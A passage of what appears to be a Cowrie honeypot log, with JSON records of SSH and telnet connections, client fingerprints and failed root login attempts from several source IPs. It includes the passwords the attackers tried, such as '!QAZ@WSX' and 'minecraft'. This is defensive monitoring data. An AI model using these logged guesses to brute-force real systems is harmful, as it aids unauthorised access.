a2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:55:12.634946Z","src_ip":"103.75.182.198","session":"ea525806dc19","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456r","message":"login attempt [root/123456r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:55:13.370075Z","src_ip":"103.75.182.198","session":"ea525806dc19","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46738,"dst_ip":"10.17.0.5","dst_port":23,"session":"3b61153bae7d","protocol":"telnet","message":"New connection: 152.42.224.71:46738 (10.17.0.5:23) [session: 3b61153bae7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:55:13.994596Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:55:14.619511Z","src_ip":"103.75.182.198","session":"ea525806dc19","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.69113874435425,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:55:17.150858Z","src_ip":"152.42.224.71","session":"ba261818073e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.343154430389404,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:55:17.190255Z","src_ip":"152.42.224.71","session":"460d7d902f40","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.24226641654968,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:55:19.249464Z","src_ip":"152.42.224.71","session":"2d2f522d2562","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.085501194000244,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:55:20.132796Z","src_ip":"152.42.224.71","session":"4e96f077950e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37112,"dst_ip":"10.17.0.5","dst_port":23,"session":"b47f8a55582e","protocol":"telnet","message":"New connection: 152.42.224.71:37112 (10.17.0.5:23) [session: b47f8a55582e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:55:22.769786Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37120,"dst_ip":"10.17.0.5","dst_port":23,"session":"202fddcecde0","protocol":"telnet","message":"New connection: 152.42.224.71:37120 (10.17.0.5:23) [session: 202fddcecde0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:55:23.859656Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":40120,"dst_ip":"10.17.0.5","dst_port":22,"session":"9d8506341825","protocol":"ssh","message":"New connection: 194.113.233.25:40120 (10.17.0.5:22) [session: 9d8506341825]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:55:24.805401Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:55:24.811359Z","src_ip":"194.113.233.25","session":"9d8506341825","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:55:24.916262Z","src_ip":"194.113.233.25","session":"9d8506341825","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vita1986","message":"login attempt [root/vita1986] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:55:25.199215Z","src_ip":"194.113.233.25","session":"9d8506341825","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:55:26.296343Z","src_ip":"194.113.233.25","session":"9d8506341825","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36574,"dst_ip":"10.17.0.5","dst_port":23,"session":"25719087b9fa","protocol":"telnet","message":"New connection: 152.42.224.71:36574 (10.17.0.5:23) [session: 25719087b9fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:55:27.588300Z"}
{"eventid":"cowrie.session.closed","duration":26.160816431045532,"message":"Connection lost after 26 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:55:32.453024Z","src_ip":"152.42.224.71","session":"aebdc86fbace","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.19.67.181","src_port":40680,"dst_ip":"10.17.0.5","dst_port":22,"session":"a92722fc8137","protocol":"ssh","message":"New connection: 46.19.67.181:40680 (10.17.0.5:22) [session: a92722fc8137]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:55:34.040459Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53512,"dst_ip":"10.17.0.5","dst_port":23,"session":"61f7b045d7c7","protocol":"telnet","message":"New connection: 152.42.224.71:53512 (10.17.0.5:23) [session: 61f7b045d7c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:55:38.688653Z"}
{"eventid":"cowrie.session.closed","duration":30.16887378692627,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:55:40.126372Z","src_ip":"152.42.224.71","session":"5a311cdca47e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53520,"dst_ip":"10.17.0.5","dst_port":23,"session":"a29049e99785","protocol":"telnet","message":"New connection: 152.42.224.71:53520 (10.17.0.5:23) [session: a29049e99785]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:55:40.735200Z"}
{"eventid":"cowrie.session.closed","duration":64.68671226501465,"message":"Connection lost after 64 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:55:40.758088Z","src_ip":"152.42.224.71","session":"b3877b76e08c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53532,"dst_ip":"10.17.0.5","dst_port":23,"session":"67bcf1c04226","protocol":"telnet","message":"New connection: 152.42.224.71:53532 (10.17.0.5:23) [session: 67bcf1c04226]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:55:42.850594Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57220,"dst_ip":"10.17.0.5","dst_port":23,"session":"f75ab7af8c3b","protocol":"telnet","message":"New connection: 152.42.224.71:57220 (10.17.0.5:23) [session: f75ab7af8c3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:55:47.064349Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.96.97","src_port":40244,"dst_ip":"10.17.0.5","dst_port":22,"session":"4b5a164c1a4e","protocol":"ssh","message":"New connection: 43.156.96.97:40244 (10.17.0.5:22) [session: 4b5a164c1a4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:55:47.375955Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:55:47.381156Z","src_ip":"43.156.96.97","session":"4b5a164c1a4e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:55:47.626908Z","src_ip":"43.156.96.97","session":"4b5a164c1a4e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"caonima","message":"login attempt [root/caonima] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:55:48.638685Z","src_ip":"43.156.96.97","session":"4b5a164c1a4e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":62.281251192092896,"message":"Connection lost after 62 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:55:48.756477Z","src_ip":"152.42.224.71","session":"7b082d283576","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57222,"dst_ip":"10.17.0.5","dst_port":23,"session":"2892d66a30e0","protocol":"telnet","message":"New connection: 152.42.224.71:57222 (10.17.0.5:23) [session: 2892d66a30e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:55:48.927581Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:55:49.887735Z","src_ip":"43.156.96.97","session":"4b5a164c1a4e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57230,"dst_ip":"10.17.0.5","dst_port":23,"session":"c9cc14f639fd","protocol":"telnet","message":"New connection: 152.42.224.71:57230 (10.17.0.5:23) [session: c9cc14f639fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:55:51.697767Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57246,"dst_ip":"10.17.0.5","dst_port":23,"session":"602a2ec32677","protocol":"telnet","message":"New connection: 152.42.224.71:57246 (10.17.0.5:23) [session: 602a2ec32677]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:55:51.702204Z"}
{"eventid":"cowrie.session.closed","duration":120.00089573860168,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:55:51.918957Z","src_ip":"152.42.224.71","session":"1951fe033e55","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57254,"dst_ip":"10.17.0.5","dst_port":23,"session":"73c9a784957a","protocol":"telnet","message":"New connection: 152.42.224.71:57254 (10.17.0.5:23) [session: 73c9a784957a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:55:52.404592Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57260,"dst_ip":"10.17.0.5","dst_port":23,"session":"f926f49c6d18","protocol":"telnet","message":"New connection: 152.42.224.71:57260 (10.17.0.5:23) [session: f926f49c6d18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:55:54.545826Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51554,"dst_ip":"10.17.0.5","dst_port":23,"session":"bcff55aae94c","protocol":"telnet","message":"New connection: 152.42.224.71:51554 (10.17.0.5:23) [session: bcff55aae94c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:55:57.009964Z"}
{"eventid":"cowrie.session.closed","duration":120.00181555747986,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:55:57.974310Z","src_ip":"152.42.224.71","session":"3ef40803eef3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.27267408370972,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:56:00.266981Z","src_ip":"152.42.224.71","session":"3b61153bae7d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.91.246.101","src_port":37552,"dst_ip":"10.17.0.5","dst_port":22,"session":"18de1530d65e","protocol":"ssh","message":"New connection: 103.91.246.101:37552 (10.17.0.5:22) [session: 18de1530d65e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:56:00.396471Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:56:00.401375Z","src_ip":"103.91.246.101","session":"18de1530d65e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:56:00.635186Z","src_ip":"103.91.246.101","session":"18de1530d65e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00187182426453,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:56:01.300881Z","src_ip":"152.42.224.71","session":"abd52e686527","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"!QAZ@WSX","message":"login attempt [root/!QAZ@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:56:01.592407Z","src_ip":"103.91.246.101","session":"18de1530d65e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51568,"dst_ip":"10.17.0.5","dst_port":23,"session":"19a40f00be04","protocol":"telnet","message":"New connection: 152.42.224.71:51568 (10.17.0.5:23) [session: 19a40f00be04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:56:01.799346Z"}
{"eventid":"cowrie.session.closed","duration":35.00516390800476,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:56:02.593289Z","src_ip":"152.42.224.71","session":"25719087b9fa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51584,"dst_ip":"10.17.0.5","dst_port":23,"session":"3de29ab59e55","protocol":"telnet","message":"New connection: 152.42.224.71:51584 (10.17.0.5:23) [session: 3de29ab59e55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:56:02.720702Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:56:02.827724Z","src_ip":"103.91.246.101","session":"18de1530d65e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51600,"dst_ip":"10.17.0.5","dst_port":23,"session":"194df087cb94","protocol":"telnet","message":"New connection: 152.42.224.71:51600 (10.17.0.5:23) [session: 194df087cb94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:56:03.288316Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.9.145.130","src_port":46758,"dst_ip":"10.17.0.5","dst_port":22,"session":"0b4a2876a85f","protocol":"ssh","message":"New connection: 81.9.145.130:46758 (10.17.0.5:22) [session: 0b4a2876a85f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:56:04.622199Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:56:04.627138Z","src_ip":"81.9.145.130","session":"0b4a2876a85f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:56:04.744365Z","src_ip":"81.9.145.130","session":"0b4a2876a85f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"minecraft","message":"login attempt [root/minecraft] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:56:05.234241Z","src_ip":"81.9.145.130","session":"0b4a2876a85f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":100.62971377372742,"message":"Connection lost after 100 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:56:05.957550Z","src_ip":"152.42.224.71","session":"0526fdd01196","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:56:06.355842Z","src_ip":"81.9.145.130","session":"0b4a2876a85f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49336,"dst_ip":"10.17.0.5","dst_port":23,"session":"73e3b8637cd3","protocol":"telnet","message":"New connection: 152.42.224.71:49336 (10.17.0.5:23) [session: 73e3b8637cd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:56:08.885547Z"}
{"eventid":"cowrie.session.closed","duration":45.70078420639038,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:56:09.560315Z","src_ip":"152.42.224.71","session":"202fddcecde0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.815314054489136,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:56:11.584971Z","src_ip":"152.42.224.71","session":"b47f8a55582e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49352,"dst_ip":"10.17.0.5","dst_port":23,"session":"089ab2cbf205","protocol":"telnet","message":"New connection: 152.42.224.71:49352 (10.17.0.5:23) [session: 089ab2cbf205]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:56:13.110117Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49354,"dst_ip":"10.17.0.5","dst_port":23,"session":"cbc1aeb6dac5","protocol":"telnet","message":"New connection: 152.42.224.71:49354 (10.17.0.5:23) [session: cbc1aeb6dac5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:56:13.218953Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49368,"dst_ip":"10.17.0.5","dst_port":23,"session":"f7121a75b671","protocol":"telnet","message":"New connection: 152.42.224.71:49368 (10.17.0.5:23) [session: f7121a75b671]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:56:13.415664Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49350,"dst_ip":"10.17.0.5","dst_port":23,"session":"687039caf135","protocol":"telnet","message":"New connection: 152.42.224.71:49350 (10.17.0.5:23) [session: 687039caf135]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:56:13.451171Z"}
{"eventid":"cowrie.session.closed","duration":83.47165846824646,"message":"Connection lost after 83 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:56:14.895213Z","src_ip":"152.42.224.71","session":"c2b4f9283853","protocol":"telnet"}
